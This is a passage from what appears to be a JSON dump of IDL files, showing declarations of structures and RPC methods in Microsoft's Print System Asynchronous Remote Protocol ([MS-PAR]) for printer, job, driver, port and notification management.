wchar_t* pJobError;\n        [string] wchar_t* pErrorDescription;\n    } RPC_BranchOfficeJobDataError;\n\n    typedef struct {\n        [string] wchar_t* pDocumentName;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pExtraErrorInfo;\n    } RPC_BranchOfficeJobDataPipelineFailed;\n\n    typedef struct {\n        [string] wchar_t* pMachineName;\n    } RPC_BranchOfficeLogOfflineFileFull;\n\n    typedef struct {\n        EBranchOfficeJobEventType  eEventType;\n        DWORD                      JobId;\n\n        [switch_type(EBranchOfficeJobEventType), switch_is(eEventType)]\n            union {\n            [case(kLogJobPrinted)]\n                RPC_BranchOfficeJobDataPrinted             LogJobPrinted;\n            [case(kLogJobRendered)]\n                RPC_BranchOfficeJobDataRendered            LogJobRendered;\n            [case(kLogJobError)]\n                RPC_BranchOfficeJobDataError               LogJobError;\n            [case(kLogJobPipelineError)]\n                RPC_BranchOfficeJobDataPipelineFailed      LogPipelineFailed;\n            [case(kLogOfflineFileFull)]\n                RPC_BranchOfficeLogOfflineFileFull         LogOfflineFileFull;\n        } JobInfo;\n    } RPC_BranchOfficeJobData;\n\n    typedef struct {\n        DWORD cJobDataEntries;\n        [size_is(cJobDataEntries), unique] RPC_BranchOfficeJobData JobData[];\n    } RPC_BranchOfficeJobDataContainer;\n\n    // [MS-PAR] enumerations\n    typedef enum {\n        kPropertyTypeString = 1,\n        kPropertyTypeInt32,\n        kPropertyTypeInt64,\n        kPropertyTypeByte,\n        kPropertyTypeTime,\n        kPropertyTypeDevMode,\n        kPropertyTypeSD,\n        kPropertyTypeNotificationReply,\n        kPropertyTypeNotificationOptions,\n    } EPrintPropertyType;\n\n    // [MS-PAR] data types\n    typedef [context_handle] void* RMTNTFY_HANDLE;\n\n    // [MS-PAR] structures\n    typedef struct _NOTIFY_REPLY_CONTAINER {\n        RPC_V2_NOTIFY_INFO* pInfo;\n    } NOTIFY_REPLY_CONTAINER;\n\n    typedef struct _NOTIFY_OPTIONS_CONTAINER {\n        RPC_V2_NOTIFY_OPTIONS* pOptions;\n    } NOTIFY_OPTIONS_CONTAINER;\n\n    typedef struct {\n        EPrintPropertyType   ePropertyType;\n\n        [switch_type(EPrintPropertyType), switch_is(ePropertyType)]\n            union {\n            [case(kPropertyTypeString)]\n                [string] wchar_t* propertyString;\n            [case(kPropertyTypeInt32)]\n                long                     propertyInt32;\n            [case(kPropertyTypeInt64)]\n                __int64                  propertyInt64;\n            [case(kPropertyTypeByte)]\n                BYTE                     propertyByte;\n            [case(kPropertyTypeTime)]\n                SYSTEMTIME_CONTAINER     propertyTimeContainer;\n            [case(kPropertyTypeDevMode)]\n                DEVMODE_CONTAINER        propertyDevModeContainer;\n            [case(kPropertyTypeSD)]\n                SECURITY_CONTAINER       propertySDContainer;\n            [case(kPropertyTypeNotificationReply)]\n                NOTIFY_REPLY_CONTAINER   propertyReplyContainer;\n            [case(kPropertyTypeNotificationOptions)]\n                NOTIFY_OPTIONS_CONTAINER propertyOptionsContainer;\n        } value;\n    } RpcPrintPropertyValue;\n\n    typedef struct {\n        [string] wchar_t* propertyName;\n        RpcPrintPropertyValue propertyValue;\n    } RpcPrintNamedProperty;\n\n    typedef struct {\n        [range(0, 50)]\n            unsigned long numberOfProperties;\n\n        [size_is(numberOfProperties), unique]\n            RpcPrintNamedProperty* propertiesCollection;\n    }RpcPrintPropertiesCollection;\n\n    typedef struct _CORE_PRINTER_DRIVER {\n        GUID         CoreDriverGUID;\n        FILETIME     ftDriverDate;\n        DWORDLONG    dwlDriverVersion;\n        wchar_t      szPackageID[260];\n    } CORE_PRINTER_DRIVER;\n\n    typedef struct {\n        RPC_EPrintPropertyType ePropertyType;\n        [switch_is(ePropertyType)] union {\n            [case(kRpcPropertyTypeString)] [string] wchar_t* propertyString;\n            [case(kRpcPropertyTypeInt32)] LONG              propertyInt32;\n            [case(kRpcPropertyTypeInt64)] LONGLONG          propertyInt64;\n            [case(kRpcPropertyTypeByte)] BYTE              propertyByte;\n            [case(kRpcPropertyTypeBuffer)]\n                struct {\n                DWORD  cbBuf;\n                [size_is(cbBuf)] BYTE* pBuf;\n            } propertyBlob;\n        } value;\n    } RPC_PrintPropertyValue;\n\n    typedef struct {\n        [string] wchar_t* propertyName;\n        RPC_PrintPropertyValue propertyValue;\n    } RPC_PrintNamedProperty;\n\t\n\n\tDWORD\n\t\tRpcAsyncOpenPrinter(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pPrinterName,\n\t\t\t[out] PRINTER_HANDLE* pHandle,\n\t\t\t[in, string, unique] wchar_t* pDatatype,\n\t\t\t[in] DEVMODE_CONTAINER* pDevModeContainer,\n\t\t\t[in] DWORD AccessRequired,\n\t\t\t[in] SPLCLIENT_CONTAINER* pClientInfo\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncAddPrinter(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in] PRINTER_CONTAINER* pPrinterContainer,\n\t\t\t[in] DEVMODE_CONTAINER* pDevModeContainer,\n\t\t\t[in] SECURITY_CONTAINER* pSecurityContainer,\n\t\t\t[in] SPLCLIENT_CONTAINER* pClientInfo,\n\t\t\t[out] PRINTER_HANDLE* pHandle\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncSetJob(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in] DWORD JobId,\n\t\t\t[in, unique] JOB_CONTAINER* pJobContainer,\n\t\t\t[in] DWORD Command\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncGetJob(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in] DWORD JobId,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pJob,\n\t\t\t[in] DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEnumJobs(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in] DWORD FirstJob,\n\t\t\t[in] DWORD NoJobs,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pJob,\n\t\t\t[in] DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded,\n\t\t\t[out] DWORD* pcReturned\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncAddJob(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pAddJob,\n\t\t\t[in] DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncScheduleJob(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in] DWORD JobId\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncDeletePrinter(\n\t\t\t[in] PRINTER_HANDLE hPrinter\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncSetPrinter(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in] PRINTER_CONTAINER* pPrinterContainer,\n\t\t\t[in] DEVMODE_CONTAINER* pDevModeContainer,\n\t\t\t[in] SECURITY_CONTAINER* pSecurityContainer,\n\t\t\t[in] DWORD Command\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncGetPrinter(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pPrinter,\n\t\t\t[in] DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncStartDocPrinter(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in] DOC_INFO_CONTAINER* pDocInfoContainer,\n\t\t\t[out] DWORD* pJobId\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncStartPagePrinter(\n\t\t\t[in] PRINTER_HANDLE hPrinter\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncWritePrinter(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, size_is(cbBuf)] unsigned char* pBuf,\n\t\t\t[in] DWORD cbBuf,\n\t\t\t[out] DWORD* pcWritten\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEndPagePrinter(\n\t\t\t[in] PRINTER_HANDLE hPrinter\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEndDocPrinter(\n\t\t\t[in] PRINTER_HANDLE hPrinter\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncAbortPrinter(\n\t\t\t[in] PRINTER_HANDLE hPrinter\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncGetPrinterData(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, string] wchar_t* pValueName,\n\t\t\t[out] DWORD* pType,\n\t\t\t[out, size_is(nSize)] unsigned char* pData,\n\t\t\t[in] DWORD nSize,\n\t\t\t[out] DWORD* pcbNeeded\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncGetPrinterDataEx(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, string] const wchar_t* pKeyName,\n\t\t\t[in, string] const wchar_t* pValueName,\n\t\t\t[out] DWORD* pType,\n\t\t\t[out, size_is(nSize)] unsigned char* pData,\n\t\t\t[in] DWORD nSize,\n\t\t\t[out] DWORD* pcbNeeded\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncSetPrinterData(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, string] wchar_t* pValueName,\n\t\t\t[in] DWORD Type,\n\t\t\t[in, size_is(cbData)] unsigned char* pData,\n\t\t\t[in] DWORD cbData\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncSetPrinterDataEx(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, string] const wchar_t* pKeyName,\n\t\t\t[in, string] const wchar_t* pValueName,\n\t\t\t[in] DWORD Type,\n\t\t\t[in, size_is(cbData)] unsigned char* pData,\n\t\t\t[in] DWORD cbData\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncClosePrinter(\n\t\t\t[in, out] PRINTER_HANDLE* phPrinter\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncAddForm(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in] FORM_CONTAINER* pFormInfoContainer\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncDeleteForm(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, string] wchar_t* pFormName\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncGetForm(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, string] wchar_t* pFormName,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pForm,\n\t\t\t[in] DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncSetForm(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, string] wchar_t* pFormName,\n\t\t\t[in] FORM_CONTAINER* pFormInfoContainer\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEnumForms(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pForm,\n\t\t\t[in]  DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded,\n\t\t\t[out] DWORD* pcReturned\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncGetPrinterDriver(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, unique, string] wchar_t* pEnvironment,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pDriver,\n\t\t\t[in] DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded,\n\t\t\t[in] DWORD dwClientMajorVersion,\n\t\t\t[in] DWORD dwClientMinorVersion,\n\t\t\t[out] DWORD* pdwServerMaxVersion,\n\t\t\t[out] DWORD* pdwServerMinVersion\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEnumPrinterData(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in] DWORD dwIndex,\n\t\t\t[out, size_is(cbValueName / sizeof(wchar_t))] wchar_t* pValueName,\n\t\t\t[in]  DWORD cbValueName,\n\t\t\t[out] DWORD* pcbValueName,\n\t\t\t[out] DWORD* pType,\n\t\t\t[out, size_is(cbData)] unsigned char* pData,\n\t\t\t[in]  DWORD cbData,\n\t\t\t[out] DWORD* pcbData\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEnumPrinterDataEx(\n\t\t\t[in]  PRINTER_HANDLE hPrinter,\n\t\t\t[in, string] const wchar_t* pKeyName,\n\t\t\t[out, size_is(cbEnumValues)] unsigned char* pEnumValues,\n\t\t\t[in]  DWORD cbEnumValues,\n\t\t\t[out] DWORD* pcbEnumValues,\n\t\t\t[out] DWORD* pnEnumValues\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEnumPrinterKey(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, string] const wchar_t* pKeyName,\n\t\t\t[out, size_is(cbSubkey / sizeof(wchar_t))] wchar_t* pSubkey,\n\t\t\t[in]  DWORD cbSubkey,\n\t\t\t[out] DWORD* pcbSubkey\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncDeletePrinterData(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, string] wchar_t* pValueName\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncDeletePrinterDataEx(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, string] const wchar_t* pKeyName,\n\t\t\t[in, string] const wchar_t* pValueName\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncDeletePrinterKey(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, string] const wchar_t* pKeyName\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncXcvData(\n\t\t\t[in] PRINTER_HANDLE hXcv,\n\t\t\t[in, string] const wchar_t* pszDataName,\n\t\t\t[in, size_is(cbInputData)] unsigned char* pInputData,\n\t\t\t[in] DWORD cbInputData,\n\t\t\t[out, size_is(cbOutputData)] unsigned char* pOutputData,\n\t\t\t[in] DWORD cbOutputData,\n\t\t\t[out] DWORD* pcbOutputNeeded,\n\t\t\t[in, out] DWORD* pdwStatus\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncSendRecvBidiData(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[in, string, unique] const wchar_t* pAction,\n\t\t\t[in] RPC_BIDI_REQUEST_CONTAINER* pReqData,\n\t\t\t[out] RPC_BIDI_RESPONSE_CONTAINER** ppRespData);\n\n\tDWORD\n\t\tRpcAsyncCreatePrinterIC(\n\t\t\t[in] PRINTER_HANDLE hPrinter,\n\t\t\t[out] GDI_HANDLE* pHandle,\n\t\t\t[in] DEVMODE_CONTAINER* pDevModeContainer\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncPlayGdiScriptOnPrinterIC(\n\t\t\t[in] GDI_HANDLE hPrinterIC,\n\t\t\t[in, size_is(cIn)] unsigned char* pIn,\n\t\t\t[in] DWORD cIn,\n\t\t\t[out, size_is(cOut)] unsigned char* pOut,\n\t\t\t[in] DWORD cOut,\n\t\t\t[in] DWORD ul\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncDeletePrinterIC(\n\t\t\t[in, out] GDI_HANDLE* phPrinterIC\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEnumPrinters(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in] DWORD Flags,\n\t\t\t[in, string, unique] wchar_t* Name,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pPrinterEnum,\n\t\t\t[in]  DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded,\n\t\t\t[out] DWORD* pcReturned\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncAddPrinterDriver(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in] DRIVER_CONTAINER* pDriverContainer,\n\t\t\t[in] DWORD dwFileCopyFlags\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEnumPrinterDrivers(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in, unique, string] wchar_t* pEnvironment,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pDrivers,\n\t\t\t[in] DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded,\n\t\t\t[out] DWORD* pcReturned\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncGetPrinterDriverDirectory(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in, unique, string] wchar_t* pEnvironment,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pDriverDirectory,\n\t\t\t[in] DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncDeletePrinterDriver(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in, string] wchar_t* pEnvironment,\n\t\t\t[in, string] wchar_t* pDriverName\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncDeletePrinterDriverEx(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in, string] wchar_t* pEnvironment,\n\t\t\t[in, string] wchar_t* pDriverName,\n\t\t\t[in] DWORD dwDeleteFlag,\n\t\t\t[in] DWORD dwVersionNum\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncAddPrintProcessor(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in, string] wchar_t* pEnvironment,\n\t\t\t[in, string] wchar_t* pPathName,\n\t\t\t[in, string] wchar_t* pPrintProcessorName\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEnumPrintProcessors(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in, unique, string] wchar_t* pEnvironment,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char*\n\t\t\tpPrintProcessorInfo,\n\t\t\t[in] DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded,\n\t\t\t[out] DWORD* pcReturned\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncGetPrintProcessorDirectory(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in, unique, string] wchar_t* pEnvironment,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char*\n\t\t\tpPrintProcessorDirectory,\n\t\t\t[in] DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEnumPorts(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pPort,\n\t\t\t[in]  DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded,\n\t\t\t[out] DWORD* pcReturned\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEnumMonitors(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pMonitor,\n\t\t\t[in]  DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded,\n\t\t\t[out] DWORD* pcReturned\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncAddPort(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in] PORT_CONTAINER* pPortContainer,\n\t\t\t[in] PORT_VAR_CONTAINER* pPortVarContainer,\n\t\t\t[in, string] wchar_t* pMonitorName\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncSetPort(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in, string, unique] wchar_t* pPortName,\n\t\t\t[in] PORT_CONTAINER* pPortContainer\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncAddMonitor(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* Name,\n\t\t\t[in] MONITOR_CONTAINER* pMonitorContainer\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncDeleteMonitor(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* Name,\n\t\t\t[in, unique, string] wchar_t* pEnvironment,\n\t\t\t[in, string] wchar_t* pMonitorName\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncDeletePrintProcessor(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* Name,\n\t\t\t[in, unique, string] wchar_t* pEnvironment,\n\t\t\t[in, string] wchar_t* pPrintProcessorName\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEnumPrintProcessorDatatypes(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pName,\n\t\t\t[in, unique, string] wchar_t* pPrintProcessorName,\n\t\t\t[in] DWORD Level,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pDatatypes,\n\t\t\t[in]  DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded,\n\t\t\t[out] DWORD* pcReturned\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncAddPerMachineConnection(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pServer,\n\t\t\t[in, string] const wchar_t* pPrinterName,\n\t\t\t[in, string] const wchar_t* pPrintServer,\n\t\t\t[in, string] const wchar_t* pProvider\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncDeletePerMachineConnection(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pServer,\n\t\t\t[in, string] const wchar_t* pPrinterName\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncEnumPerMachineConnections(\n\t\t\t[in] handle_t hRemoteBinding,\n\t\t\t[in, string, unique] wchar_t* pServer,\n\t\t\t[in, out, unique, size_is(cbBuf)] unsigned char* pPrinterEnum,\n\t\t\t[in]  DWORD cbBuf,\n\t\t\t[out] DWORD* pcbNeeded,\n\t\t\t[out] DWORD* pcReturned\n\t\t);\n\n\tHRESULT\n\t\tRpcSyncRegisterForRemoteNotifications(\n\t\t\t[in]    PRINTER_HANDLE                  hPrinter,\n\t\t\t[in]    RpcPrintPropertiesCollection* pNotifyFilter,\n\t\t\t[out]   RMTNTFY_HANDLE* phRpcHandle\n\t\t);\n\n\tHRESULT\n\t\tRpcSyncUnRegisterForRemoteNotifications(\n\t\t\t[in, out]   RMTNTFY_HANDLE* phRpcHandle\n\t\t);\n\n\tHRESULT\n\t\tRpcSyncRefreshRemoteNotifications(\n\t\t\t[in]    RMTNTFY_HANDLE                  hRpcHandle,\n\t\t\t[in]    RpcPrintPropertiesCollection* pNotifyFilter,\n\t\t\t[out]   RpcPrintPropertiesCollection** ppNotifyData\n\t\t);\n\n\tHRESULT\n\t\tRpcAsyncGetRemoteNotifications(\n\t\t\t[in]    RMTNTFY_HANDLE                  hRpcHandle,\n\t\t\t[out]   RpcPrintPropertiesCollection** ppNotifyData\n\t\t);\n\n\tHRESULT\n\t\tRpcAsyncInstallPrinterDriverFromPackage(\n\t\t\t[in]                       handle_t  hRemoteBinding,\n\t\t\t[in, string, unique] const wchar_t* pszServer,\n\t\t\t[in, string, unique] const wchar_t* pszInfPath,\n\t\t\t[in, string]         const wchar_t* pszDriverName,\n\t\t\t[in, string]         const wchar_t* pszEnvironment,\n\t\t\t[in]                       DWORD     dwFlags\n\t\t);\n\n\tHRESULT\n\t\tRpcAsyncUploadPrinterDriverPackage(\n\t\t\t[in]                       handle_t  hRemoteBinding,\n\t\t\t[in, string, unique] const wchar_t* pszServer,\n\t\t\t[in, string]         const wchar_t* pszInfPath,\n\t\t\t[in, string]         const wchar_t* pszEnvironment,\n\t\t\t[in]                       DWORD     dwFlags,\n\t\t\t[in, out, unique, size_is(*pcchDestInfPath)]\n\t\t\twchar_t* pszDestInfPath,\n\t\t\t[in, out]                  DWORD* pcchDestInfPath\n\t\t);\n\n\tHRESULT\n\t\tRpcAsyncGetCorePrinterDrivers(\n\t\t\t[in]                       handle_t  hRemoteBinding,\n\t\t\t[in, string, unique] const wchar_t* pszServer,\n\t\t\t[in, string]         const wchar_t* pszEnvironment,\n\t\t\t[in]                       DWORD     cchCoreDrivers,\n\t\t\t[in, size_is(cchCoreDrivers)]\n\t\t\tconst wchar_t* pszzCoreDriverDependencies,\n\t\t\t[in]                       DWORD     cCorePrinterDrivers,\n\t\t\t[out, size_is(cCorePrinterDrivers)]\n\t\t\tCORE_PRINTER_DRIVER* pCorePrinterDrivers\n\t\t);\n\n\tHRESULT\n\t\tRpcAsyncCorePrinterDriverInstalled(\n\t\t\t[in]                       handle_t  hRemoteBinding,\n\t\t\t[in, string, unique] const wchar_t* pszServer,\n\t\t\t[in, string]         const wchar_t* pszEnvironment,\n\t\t\t[in]                       GUID      CoreDriverGUID,\n\t\t\t[in]                       FILETIME  ftDriverDate,\n\t\t\t[in]                       DWORDLONG dwlDriverVersion,\n\t\t\t[out]       int* pbDriverInstalled\n\t\t);\n\n\tHRESULT\n\t\tRpcAsyncGetPrinterDriverPackagePath(\n\t\t\t[in]                       handle_t  hRemoteBinding,\n\t\t\t[in, string, unique] const wchar_t* pszServer,\n\t\t\t[in, string]         const wchar_t* pszEnvironment,\n\t\t\t[in, string, unique] const wchar_t* pszLanguage,\n\t\t\t[in, string]         const wchar_t* pszPackageID,\n\t\t\t[in, out, unique, size_is(cchDriverPackageCab)]\n\t\t\twchar_t* pszDriverPackageCab,\n\t\t\t[in]                       DWORD     cchDriverPackageCab,\n\t\t\t[out]                      DWORD* pcchRequiredSize\n\t\t);\n\n\tHRESULT\n\t\tRpcAsyncDeletePrinterDriverPackage(\n\t\t\t[in]                       handle_t  hRemoteBinding,\n\t\t\t[in, string, unique] const wchar_t* pszServer,\n\t\t\t[in, string]         const wchar_t* pszInfPath,\n\t\t\t[in, string]         const wchar_t* pszEnvironment\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncReadPrinter(\n\t\t\t[in]                    PRINTER_HANDLE  hPrinter,\n\t\t\t[out, size_is(cbBuf)]   unsigned char* pBuf,\n\t\t\t[in]                    DWORD           cbBuf,\n\t\t\t[out]                   DWORD* pcNoBytesRead\n\t\t);\n\n\tDWORD\n\t\tRpcAsyncResetPrinter(\n\t\t\t[in]                    PRINTER_HANDLE     hPrinter,\n\t\t\t[in, string, unique]    wchar_t* pDatatype,\n\t\t\t[in]                    DEVMODE_CONTAINER* pDevModeContainer\n\t\t);\n\n     DWORD\n\t     RpcAsyncGetJobNamedPropertyValue(\n\t\t     [in]  PRINTER_HANDLE         hPrinter,\n\t\t     [in]  DWORD                  JobId,\n\t\t     [in, string] const wchar_t* pszName,\n\t\t     [out] RPC_PrintPropertyValue* pValue\n\t     );\n\n     DWORD\n\t     RpcAsyncSetJobNamedProperty(\n\t\t     [in] PRINTER_HANDLE         hPrinter,\n\t\t     [in] DWORD                  JobId,\n\t\t     [in] RPC_PrintNamedProperty* pProperty\n\t     );\n\n     DWORD\n\t     RpcAsyncDeleteJobNamedProperty(\n\t\t     [in]  PRINTER_HANDLE         hPrinter,\n\t\t     [in]  DWORD                  JobId,\n\t\t     [in, string] const wchar_t* pszName\n\t     );\n\n     DWORD\n\t     RpcAsyncEnumJobNamedProperties(\n\t\t     [in]                            PRINTER_HANDLE         hPrinter,\n\t\t     [in]                            DWORD                  JobId,\n\t\t     [out]                           DWORD* pcProperties,\n\t\t     [out, size_is(, *pcProperties)]  RPC_PrintNamedProperty** ppProperties\n\t     );\n\n     DWORD\n\t     RpcAsyncLogJobInfoForBranchOffice(\n\t\t     [in]      PRINTER_HANDLE                   hPrinter,\n\t\t     [in, ref] RPC_BranchOfficeJobDataContainer* pBranchOfficeJobDataContainer\n\t     );\n}"
  },
  {
    "path": "IDL_FILES/ms-rprn.idl",
